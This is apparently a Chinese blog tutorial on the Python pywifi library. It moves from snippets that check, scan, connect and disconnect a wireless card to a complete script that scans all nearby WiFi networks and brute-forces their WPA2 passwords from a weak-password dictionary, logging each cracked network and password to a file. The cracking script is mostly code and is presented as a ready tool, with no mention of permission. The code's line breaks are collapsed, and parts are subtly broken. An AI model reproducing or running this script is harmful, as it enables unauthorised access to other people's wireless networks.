需要pip install pywifi

查看无线网卡状态

from pywifi import const,PyWiFi def test_interfaces():#查看无线网卡是否处于连接状态wifi=PyWiFi()#创建一个无线对象ifaces=wifi.interfaces()[0]#获取第一个无线网卡if ifaces.status() in[const.IFACE_CONNECTED,const.IFACE_CONNECTING]:print('无线网卡 %s 已连接!' % ifaces.name())else:print('无线网卡 %s 未连接!' % ifaces.name())if __name__=="__main__":test_interfaces()

扫描周围wifi

import pywifidef test_scan():#扫描周围wifiwifi = pywifi.PyWiFi()#创建一个无线对象iface = wifi.interfaces()[0]#取一个无线网卡iface.scan() #扫描周围wifibsses=iface.scan_results() #获取扫描结果for bss in bsses:   #打印输出wifi信息print("wifi名称: %s" % bss.ssid) #输出wifi名称if __name__=="__main__":test_scan()

断开无线网卡的wifi连接

from pywifi import PyWiFi,const def test_disconnect():#断开无线网卡连接wifi=PyWiFi()#创建一个无线对象ifaces=wifi.interfaces()[0] #获取第一个无线网卡ifaces.disconnect() #断开无线网卡连接#判断网卡是否处于断开状态if ifaces.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:print('无线网卡 %s 未连接! ' % ifaces.name())else:print('无线网卡 %s 已连接! ' % ifaces.name())if __name__=="__main__":test_disconnect()

可以看到wifi图标已经没有了

连接wifi

这里需要输入wifi名称和密码,创建一个profile后,然后通过这个profile去连接wifi

from pywifi import PyWiFi,const,Profile
import time def test_connect(wifi_name,wifi_password):#连接wifiwifi=PyWiFi()#创建一个无线对象iface=wifi.interfaces()[0]#取第一个无线网卡iface.disconnect()#断开网卡连接time.sleep(3)#缓冲3秒profile_info=Profile()#wifi配置文件profile_info.ssid=wifi_name#wifi名称profile_info.auth=const.AUTH_ALG_OPEN#需要密码profile_info.akm.append(const.AKM_TYPE_WPA2PSK)#加密类型profile_info.cipher=const.CIPHER_TYPE_CCMP#加密单元profile_info.key =wifi_password#wifi密码iface.remove_all_network_profiles()#删除其他配置文件tmp_profile=iface.add_network_profile(profile_info)#加载配置文件iface.connect(tmp_profile)#连接time.sleep(5)#尝试5秒能否成功连接if iface.status()==const.IFACE_CONNECTED:print("wifi: %s 连接成功!" % wifi_name)else:print("wifi: %s 连接失败!" % wifi_name)if __name__=="__main__":test_connect('@PHICOMM_24_5G','*****')

暴力破解wifi密码

能不能破解主要看字典

from pywifi import const, PyWiFi, Profile
import time# wifi类
class wifi(object):def __init__(self):self.wifi = PyWiFi()                                 #创建一个无线对象self.interfaces = self.wifi.interfaces()              #获取无线网卡接口self.iface = self.interfaces[0]                           #获取第一个无线网卡接口# 获取无线网卡接口def get_wifi_interfaces(self):num = len(self.interfaces)if num <= 0:print(u'未找到无线网卡接口!\n')exit()if num == 1:print(u'无线网卡接口: %s\n' % (self.iface.name()))return self.ifaceelse:print('%-4s   %s\n'%(u'序号',u'网卡接口名称'))for i, w in enumerate(self.interfaces):print('%-4s   %s' % (i, w.name()))while True:iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))no = int(iface_no)if no >= 0 and no < num:return self.interfaces[no]# 查看无线网卡是否处于连接状态def check_interfaces(self):                              if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:print('无线网卡:%s 已连接。' % self.iface.name())else:print('无线网卡:%s 未连接。' % self.iface.name())# 扫描周围wifidef scan_wifi(self):self.iface.scan()                                      #扫描周围wifitime.sleep(1)                                          #不缓冲显示不出来result = self.iface.scan_results()                        #获取扫描结果,wifi可能会有重复has = []                                              #初始化已扫描到的wifiwifi_list = []                                            #初始化扫描结果for i in result:if i not in has:                                    #若has中没有该wifi,则has.append(i)                                 #添加到has列表if i.signal > -90:                              #信号强度<-90的wifi几乎连不上wifi_list.append((i.ssid, i.signal))      #添加到wifi列表print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序# 连接wifidef connect_wifi(self, wifi_name, wifi_password):self.iface.disconnect()                                    #断开无线网卡连接time.sleep(1)                                          #缓冲1秒profile_info = Profile()                              #wifi配置文件profile_info.ssid = wifi_name                             #wifi名称profile_info.auth = const.AUTH_ALG_OPEN                 #需要密码profile_info.akm.append(const.AKM_TYPE_WPA2PSK)            #加密类型profile_info.cipher = const.CIPHER_TYPE_CCMP          #加密单元profile_info.key = wifi_password                      #wifi密码self.iface.remove_all_network_profiles()             #删除其他配置文件tmp_profile = self.iface.add_network_profile(profile_info)    #加载配置文件self.iface.connect(tmp_profile)                          #连接#尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)time.sleep(5)               if self.iface.status() == const.IFACE_CONNECTED:print('\n==========================================================================')print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')print('==========================================================================\n')return Trueelse:print('密码错误:{0}'.format(wifi_password), end='')return False# 断开无线网卡已连接状态def disconnect_wifi(self):self.iface.disconnect()                    if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:print('无线网卡:%s 已断开。' % self.iface.name())else:print('无线网卡:%s 未断开。' % self.iface.name())if __name__ == '__main__':sf = ['Y', 'y', 'N', 'n']dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()wifi = wifi()                                               #实例化wifi类wifi.get_wifi_interfaces()                                 #获取网卡接口wifi.check_interfaces()                                      #检测网卡连接状态print('\n正在扫描wifi热点...')wifiList = wifi.scan_wifi()                                 #扫描周围wifiprint('\n正在破解,时间较长,请耐心等待...')#所有破解成功的wifi名称及密码user_pwd = []                                               # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点for i in wifiList:print('正在破解%s,请耐心等待...' % i[0])start = time.time()with open(r'wifi常用弱口令字典.txt', 'r') as f:         for password in f:try:result = wifi.connect_wifi(i[0], password)   #尝试连接wifiif result == True:                           #若找到密码,则跳出,避免继续查找user_pwd.append((i[0], password))        #保存破解成功的wifi及密码breakexcept:continueend = time.time()shi = end - startprint('破解耗时:%s秒。' % shi)if dian == 'Y' or dian == 'y':xia = input('是否继续破解(Y/N)?').strip()while xia not in sf:print('输入错误,请重新输入!')xia = input('是否继续破解(Y/N)?')if xia == 'Y' or xia == 'y':continueelse:breakprint('\n==========================================================================')print('最终统计结果为:')with open(r'D:/py/wifi.txt', 'a') as pwd:for p in user_pwd:pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')print('==========================================================================\n')wifi.disconnect_wifi()                                        #断开无线网卡已连接状态

参考链接:

https://blog.csdn.net/qq_38882327/article/details/89349399?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

https://blog.csdn.net/xiaoxianerqq/article/details/81279425

python wifi模块相关推荐

  1. wifi模块 服务器通讯协议,模块之间通信协议

    模块之间通信协议 内容精选 换一换 IEC61499 是分布式工业测量,控制和监控系统的功能块标准,既然它是面向工业测量和控制的系统,对系统的确定性(Deterministic)要求必然也比较高.确定 ...

  2. Python Re 模块超全解读!详细

    内行必看!Python Re 模块超全解读! 2019.08.08 18:59:45字数 953阅读 121 re模块下的函数 compile(pattern):创建模式对象 > import ...

  3. python argparse模块_Python argparse模块应用实例解析

    这篇文章主要介绍了Python argparse模块应用实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 简介 argparse是python ...

  4. 关于使用python logging模块的几点总结

    关于使用python logging模块的几点总结 使用python的标准日志模块logging可以非常方便地记录日志.Python日志系统非常丰富.添加结构化或非结构化日志输出到python代码,写 ...

  5. python高级-模块(14)

    一.python中的模块 有过C语言编程经验的朋友都知道在C语言中如果要引用sqrt函数,必须用语句#include <math.h>引入math.h这个头文件,否则是无法正常进行调用的. ...

  6. 【Linux驱动】ThinkPad笔记本wifi模块rtl8821ce在ubuntu16.04的驱动(默认没有)

    0.wifi模块型号 在win10下设备管理器中查看,型号为:Realtek 8821CE Wireless LAN 802.11ac PCI-E NIC 1.问题描述 在ThinkPad上安装win ...

  7. 海思涵科技WIFI认证服务器不在线,在海思平台外加一个usb wifi模块,mt7601 加载ok,配置网络ok,但不能ping通?...

    请教下:我用mt7601 usb wifi模块 加载驱动 配置网络后经常打印 PeerBeaconAtJoinAction(): Set CentralChannel=1 PeerBeaconAtJo ...

  8. 转载: Python os 模块的功能以及子函数介绍

    原文链接: python之os模块 - 程序生(Codey) - 博客园 https://www.cnblogs.com/cxscode/p/8085326.html 一.Python OS模块介绍 ...

  9. 简单介绍python process模块

    在python中大部分情况需要使用多进程,python提供了multiprocessing模块.multiprocessing模块的功能众多:支持子进程.通信和共享数据.执行不同形式的同步,提供了Pr ...

最新文章

  1. Notepad++自用主题推荐
  2. 安装百分之80卡住_新车买回来要不要安装发动机护板呢?装好还是不好?
  3. JavaSE(三)——数组及继承
  4. 简单小程序代码_开个小程序店铺需要多少钱?
  5. Java高次方数尾数输出_C语言求高次方数的尾数代码解析
  6. WinCE5.0 SMDK2410 BSP在GEC2410开发板上的移植(11)-BINFS在Nand上的实现(Multi-Bin的实现)
  7. java 并行_在使用Java并行流之前要三思而后行
  8. 软件测试用例的优点和缺点,浅析黑盒测试和白盒测试各自的优缺点
  9. 查找:对于长度为n的线性表最坏查找次数
  10. vnc服务器拼虚拟机,vnc连接虚拟机,7个步骤vnc连接虚拟机
  11. CString.Format详解【摘录】
  12. 网站常用组件收集整理
  13. C语言——基础链表详解
  14. 计算机桌面是快捷方式,我的电脑桌面上的图标都变成快捷方式了怎么处理?
  15. 上海商报:超级表格创始人叫板Excel
  16. PDF办公技巧之PDF怎么删除其中一页
  17. msf之msfvenom的使用—使用Kali渗透工具生成远控木马
  18. 如何判断运行中的代码是调试模式(debug),还是运行模式
  19. CF4A Watermelon(洛谷水题记)
  20. MD5 RSA DES

热门文章

  1. 数字后端基础——各种缩写定义
  2. 密码校验:大小写字母、字符、数字组合,最少8位
  3. 齐博模板直接写mysql_齐博CMS使用常见问题和技巧汇总
  4. VSCODE 配置cl.exe编译器
  5. weight initialization
  6. 干货,实战滴滴开源Logi-KafkaManager
  7. Unity中实现群组行为
  8. canvas实战之酷炫背景动画(三)
  9. CAM350 V10.5/V14.6 导出拼板gerber文件
  10. 原始值(primitive value)